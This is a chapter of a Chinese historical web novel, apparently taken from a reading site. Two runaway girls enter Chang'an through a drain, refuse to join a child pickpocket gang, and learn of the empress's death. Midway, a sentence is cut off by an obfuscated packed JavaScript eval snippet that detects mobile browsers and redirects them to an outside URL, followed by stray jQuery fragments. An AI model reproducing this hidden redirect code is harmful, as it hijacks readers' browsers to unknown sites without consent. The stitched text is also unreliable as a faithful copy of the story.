“几个衣着破旧的孩子钻入排水渠,像老鼠归巢般熟练。
二人偷偷跟在几步之外,一股恶臭扑面而来,寻梅捂住鼻子。卫余趴在地上,用树枝测量着流水速度,“速度不快。”
排水渠洞口不大,幸好卫余身量娇小,寻梅比卫余年长三岁,身材已经大了一圈,通过排水口时险些卡在里面。
“我再大几岁就进不来了。”寻梅嫌弃的抹了抹手心的污泥。
浑浊的水流没过膝盖,两个孩子手牵手迈过几步,沟壁长满滑腻的苔藓。寻梅不知踢到了什么,她的唇色变得乌紫。“我好像……踢到了一根指头?”
寻梅强忍着要吐的欲望,继续往前走。卫余也没有好到哪去,这里到处漂浮着动物骸骨,腐烂的气味吸引了一群发着绿光的苍蝇,她全身发麻,心里怦怦作响,生怕下一秒水里出现一条水草把她们缠住。
当二人终于湿漉漉的从暗渠爬上来,长安的夜风迎面吹来。
二人刚要欢呼,眼前的景象让她们瞬间愣住。
所谓的帝都长安,此刻映入眼帘的的却是一条污水横流的窄巷。几个面黄肌瘦的妇人围坐在一起,熬着一盅冒着怪味的粥。见有人前来,她们立刻用身体挡住陶罐。
“这就是长安?”寻梅嗓音发颤。
这么久支撑她们的念想,在这一刻化为虚有,只剩下无尽的迷茫。
一声凄厉的猫叫响彻天空,巷子深处传来一阵窸窣声,十几个孩子如幽灵般从暗处冒出来。他们个个瘦的皮包骨头,只有为首的女孩脸上挂着一点肉,但也比寻梅矮了半个头,身上穿着不合身的袍子,腰间挂了两个精巧的荷包。
女孩左脸颊的胎记在月光下若隐若现,她咧开嘴巴,露出笑容。
“新来的?”
女孩拦住二人,“你们是混哪个道的?”,寻梅咽了咽口水,“我们是晋城来的,来长安讨口饭吃……”
“晋城?!”女孩的声音骤然提高,刹那间,所有孩子齐刷刷的看了过来,一个火堆旁的男孩猛地站起,“开什么玩笑?谁不知道东安九郡距长安大几百公里!”
女孩一步步逼近寻梅,虽说比寻梅矮些,但她的眼神中带着不可忽视的俯视姿态。
“想留下来吗?”她戏谑的打量着两个湿透了的女孩,“至少能让你们活命。”
寻梅一喜,忙问:“你们是以什么谋生的?”
女孩的眼睛滴溜溜转了一圈,“看不出来吗?我们都是乞丐,我是这一片的帮主……”
巷子里传来三短一长的梆子声,方才的男孩立刻兴奋起来,“猴姐,可以赶夜路了!”
女孩瞪了他一眼,又笑嘻嘻的看着寻梅,“我叫侯玉,你也可以叫我猴姐,”寻梅没听明白“赶夜路”是什么意思,侯玉已经招呼着其他人动身。
“走吧,让我看看你的本事。”
“什么意思?”
四周响起嗤笑声,一个门牙缺了一半的男孩道:“就是去乞讨!讨到的`贡品'上交给帮会,就算是你们通过考核了。”
寻梅难堪的低下头,死死拽着裙角,支支吾吾道:“我们……从来没有干过这个。”
侯玉挑眉,“要想在长安活命,你就得按我的规矩来。”
“毕竟你总得证明,你不是废物吧?”最后几个字,她故意咬的极重。
“我知道了,”寻梅沉默了片刻,认命般的点了点头,“我干就是了。”
侯玉满意的笑了笑,这时才注意到角落里死死盯着她的卫余,她弯下腰,“你呢,小妹妹?”
“也一起和你姐姐去?”她明显看不起这个和豆芽一样瘦的小娃娃,“不用担心,大不了到时候让你姐姐多上交点''贡品'',我勉强也可以留下你。”
卫余探究的眼神让她很不舒服,她刚想带着寻梅离开,卫余的声音响起,“我和你们一起去。”
几人在狭窄的巷子里穿来穿去,一束灯火刺破黑暗,那才是真正的长安夜市。
青石长街两侧,高挂串串灯笼,灯罩的火光照的人面若桃花。一盏盏琉璃灯摆在货架前,映出长安的车水马龙。
忽听“铛!”一声铜锣乍响,人群蜂拥涌进街心。只见一个赤膊大汉吞吐烈火,喉结滚动间竟喷出七尺火花!“好!好!!”喝彩声不绝于耳。
满城灯火,竟比白昼更甚三分!
卫余等人躲在巷口的阴影里,像几只偷油的老鼠,探头往外看。墙缝漏出一点暖光,恰好洒在卫余脸上。
一股混杂着羊肉汤,烤羊肉的气味扑鼻而来,寻梅的舌尖不自觉舔上牙齿,那里只有昨日半块霉饼的苦味。
“去吧。”侯玉推了两人一把。
人潮如沸,卫余的手心还残留着一点温度,那是方才寻梅紧紧拽着她时留下的。不知是谁推了她的肩,挤了她的背,再回头时时,寻梅已经消散在了人群中。
“寻梅姐!”她的喊叫声刚一出口,瞬间被四周的喧嚷吞没。
“五文钱一串的糖葫芦呦!”小贩的声音刺破了卫余的耳膜,她想起了自己的任务,只有完成了这个,她和寻梅才能在长安活下去。
似乎下定了某种决心,卫余对着一个面向和善的妇人道:“行行好……”,她的声音比猫叫还小,那个妇人却猛地拽回衣角,“晦气!小叫花子讨什么丧?!”
卫余没有放弃,又跑到一个富态的的商人面前。
“滚开,臭要饭的!”还没有等她开口,商人一脚踢开卫余,卫余赶紧缩回巷子里。
“两个都这么没用,怎么这么笨?”侯玉不知什么时候走到她身边,连声音都没有。卫余见寻梅跟在后面抹着泪,便知道她怕是也一无所获。
侯玉吹了一声口哨,立刻有两个孩子悄无声息的跑了出去,贴着一个富商身边走。一个假装摔倒挡住富商的路,另一个以迅雷不及掩耳之势,飞快拿走富商的荷包。富商骂骂咧咧的啐了倒在地上的小孩一口,甚至没有发现丢了东西。
“看明白了吗?”侯玉得意洋洋的抬起脸,“这才是我们的手段。”
卫余的掌心渗出冷汗,她早该想到,这么多孩子在长安不可能依靠乞讨为生。
“我们不做贼!”寻梅突然停止哭泣,坚定地说,“我爹说过,偷盗终有报,天理不可逃!”
侯玉面不改色,似乎早就想到了她们会这么说,“在长安,老实人活不过三天。”
“别做出这个表情,”她捏起寻梅的脸,“你认得几个字?就敢来教训我。如果你爹还要你,你至于跑到长安来吗?”
寻梅的手微不可察的颤了颤,似乎被刺中了痛楚。卫余顿时火上心头,拉起寻梅就走。
侯玉在身后哈哈大笑,笑声惊跑了巷子里猫,“那你们就等着饿死吧!”
卫余和寻梅刚刚走出巷口,一阵沉重的钟鸣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533585|186444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声震得她们站立不稳。
“咚——”
第一声钟声响起时,嘈杂的街市静止一般,众人齐齐望向皇城。满街灯笼摇晃,照的人脸都泛了青。
“咚——”
第二声紧接而来,小贩们面如纸白的收拾起摊位,卖汤饼的商人丢下铜釜,滚烫的羊肉汤泼了旁边的姑娘一身。不知谁喊了一句:“官差来了!”,人群瞬间如溃堤之水般散开。
整条街都在跑。灯笼倒了,火苗蹿上布幌;钱囊破了,铜钱滚进阴沟;婴孩哭了,哭声立刻被无数尖叫碾碎。
“咚——”
第三声钟鸣到来时,街上人已散了大半。巡夜的官兵结队而来,不由分说的把还在发愣的货郎扣押起来。
不多时,整座长安城沉入黑暗。唯有皇城方向的钟声仍在回荡,一声比一声悲凉。
卫余和寻梅躲在巷口,她们刚想离开,侯玉突然叫住她们,“现在出去就是找死。”
卫余止住脚步。
“宵禁不知道为什么突然提前了。”之前的男孩愤愤道,“官兵现在见人就抓,我们今天探囊都没几个!真倒霉!”
“闭嘴!”侯玉暴躁的打断他,“让官兵听见了你还想不想活?!”
“那有什么办法?我还从来没见过这么大阵仗呢,”他讨好的看向侯玉,“要说见识最多的,那还要属您了。猴姐您说这是发生什么事了?”
侯玉默然许久,“是宫中贵人,不好了……”,她的声音很轻,嘴角却勾起一丝不易察觉的诡异的弧度。
巷口传来整齐铁甲的碰撞声,火把的光亮洪水般蔓延过来。羽林卫的玄甲在月光下泛着冷光,马鞍旁悬挂的浆糊桶摇晃着惨白的浑浊。
“啪!”一刷子浆糊拍在坊墙上,黄纸展开,士兵按着纸角一碾,转身就走。
第二张贴在酒肆上,第三张,第四张……
五更时分,整个长安城都贴满了黄纸。
昨夜散开的人群渐渐聚拢。抱孩子的妇人,拿着梆子的更夫,袖口沾满墨水的书生,全都盯着那张黄纸,却没有一个人说话。
卫余挤入人群,她今天照着侯玉的话来打探黄纸上的内容。刚抬起头,满页的墨字激的她冷汗直出。
她死命的盯着那张黄纸,看似是要把它盯出洞来,实则耳朵立起,静心听着人群的议论。
恍惚间,她听见后方传来一道苍老的声音:“皇后娘娘……当真薨了?”
“年前我还托娘娘的福,得了一碗腊八粥……怎么这么突然?”老人的声音哽咽起来。
“沿途设粥棚三十处……”一个货郎眨了眨眼睛,“这可难得,看来咱们陛下对娘娘用情至深啊。”
卫余竖起耳朵,粥棚三十处!!这对她和寻梅来说可是救命粮食。她快步离开人群,欲返回窄巷,却直直撞上一人。
书生的青衫被风吹起一角,他眯眼细读那朱砂御批的诏文,忽地嗤笑一声,指尖叩着粗粝的墙砖,朗声吟道:
"三十粥棚济饿殍,九重恩诏出天朝。
不知泉下埋香骨,可耐人间啜粥时?"
旁有老农瑟缩着凑近,嗫嚅问:"相公,这皇上施粥……总是好事吧?"
书生袖中手攥紧又松开,最终只将折扇"唰"地展开,掩住半张讥诮的脸:"老丈可知?这黄粱粥里,"扇骨忽指向皇城方向,"掺的是娘娘棺椁上的金漆。"